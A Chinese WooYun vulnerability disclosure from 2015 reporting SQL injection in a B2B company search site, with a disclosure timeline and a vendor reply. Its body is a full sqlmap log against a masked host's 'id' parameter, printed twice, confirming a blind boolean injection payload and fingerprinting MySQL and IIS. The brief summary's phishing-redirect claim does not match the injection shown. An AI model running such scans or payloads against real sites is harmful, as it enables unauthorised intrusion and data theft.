当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0150138

漏洞标题:B2B企业搜主站SQL注入漏洞

相关厂商:B2B企业搜

漏洞作者: Ruby树莓派

提交时间:2015-10-29 13:18

修复时间:2015-12-17 19:28

公开时间:2015-12-17 19:28

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:7

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-29: 细节已通知厂商并且等待厂商处理中
2015-11-02: 厂商已经确认,细节仅向厂商公开
2015-11-12: 细节向核心白帽子及相关领域专家公开
2015-11-22: 细节向普通白帽子公开
2015-12-02: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

可以通过修改而将用户引向钓鱼网站,后果严重

详细说明:

./sqlmap.py -u http://**.**.**.**/showurl.asp?id=32555
_
___ ___| |_____ ___ ___ {1.0-dev-8bf236c}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 16:54:28
[16:54:30] [INFO] testing connection to the target URL
[16:54:35] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[16:54:40] [INFO] testing if the target URL is stable
[16:54:50] [INFO] target URL is stable
[16:54:50] [INFO] testing if GET parameter 'id' is dynamic
[16:54:51] [INFO] heuristics detected web page charset 'GB2312'
[16:54:51] [INFO] confirming that GET parameter 'id' is dynamic
[16:54:53] [INFO] GET parameter 'id' is dynamic
[16:55:15] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[16:55:16] [INFO] testing for SQL injection on GET parameter 'id'
[16:55:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:55:22] [WARNING] reflective value(s) found and filtering out
[16:55:28] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[16:55:28] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[16:55:30] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[16:55:31] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[16:55:33] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[16:55:35] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[16:55:36] [INFO] testing 'MySQL inline queries'
[16:55:38] [INFO] testing 'PostgreSQL inline queries'
[16:55:40] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[16:55:42] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[16:55:42] [WARNING] time-based comparison requires larger statistical model, please wait...........
[16:56:37] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[16:56:39] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[16:56:40] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[16:56:42] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[16:56:45] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[16:56:52] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[16:56:54] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[16:56:55] [INFO] testing 'Oracle AND time-based blind'
[16:56:57] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[16:56:57] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[16:56:57] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[16:57:04] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[16:57:32] [INFO] target URL appears to have 38 columns in query
[16:57:32] [WARNING] applying generic concatenation with double pipes ('||')
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
[17:06:24] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[17:06:24] [INFO] testing 'MySQL UNION query (89) - 1 to 20 columns'
[17:07:25] [WARNING] there is a possibility that the target (or WAF) is dropping 'suspicious' requests
[17:07:25] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request(s)
[17:07:48] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 276 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=32555 AND 8123=8123
---
[17:07:54] [INFO] testing MySQL
[17:07:54] [INFO] confirming MySQL
[17:07:55] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: MySQL >= 5.0.0
[17:07:55] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 213 times
[17:07:55] [INFO] fetched data logged to text files under '.sqlmap/output/**.**.**.**'
[*] shutting down at 17:07:55

漏洞证明:

./sqlmap.py -u http://**.**.**.**/showurl.asp?id=32555
_
___ ___| |_____ ___ ___ {1.0-dev-8bf236c}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 16:54:28
[16:54:30] [INFO] testing connection to the target URL
[16:54:35] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[16:54:40] [INFO] testing if the target URL is stable
[16:54:50] [INFO] target URL is stable
[16:54:50] [INFO] testing if GET parameter 'id' is dynamic
[16:54:51] [INFO] heuristics detected web page charset 'GB2312'
[16:54:51] [INFO] confirming that GET parameter 'id' is dynamic
[16:54:53] [INFO] GET parameter 'id' is dynamic
[16:55:15] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[16:55:16] [INFO] testing for SQL injection on GET parameter 'id'
[16:55:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:55:22] [WARNING] reflective value(s) found and filtering out
[16:55:28] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[16:55:28] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[16:55:30] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[16:55:31] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[16:55:33] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[16:55:35] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[16:55:36] [INFO] testing 'MySQL inline queries'
[16:55:38] [INFO] testing 'PostgreSQL inline queries'
[16:55:40] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[16:55:42] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[16:55:42] [WARNING] time-based comparison requires larger statistical model, please wait...........
[16:56:37] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[16:56:39] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[16:56:40] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[16:56:42] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[16:56:45] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[16:56:52] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[16:56:54] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[16:56:55] [INFO] testing 'Oracle AND time-based blind'
[16:56:57] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[16:56:57] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[16:56:57] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[16:57:04] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[16:57:32] [INFO] target URL appears to have 38 columns in query
[16:57:32] [WARNING] applying generic concatenation with double pipes ('||')
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
[17:06:24] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[17:06:24] [INFO] testing 'MySQL UNION query (89) - 1 to 20 columns'
[17:07:25] [WARNING] there is a possibility that the target (or WAF) is dropping 'suspicious' requests
[17:07:25] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request(s)
[17:07:48] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 276 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=32555 AND 8123=8123
---
[17:07:54] [INFO] testing MySQL
[17:07:54] [INFO] confirming MySQL
[17:07:55] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: MySQL >= 5.0.0
[17:07:55] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 213 times
[17:07:55] [INFO] fetched data logged to text files under '/.sqlmap/output/**.**.**.**'
[*] shutting down at 17:07:55

修复方案:

版权声明:转载请注明来源 Ruby树莓派@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-11-02 19:26

厂商回复:

暂未建立与网站管理单位的直接处置渠道,待认领。

最新状态:

暂无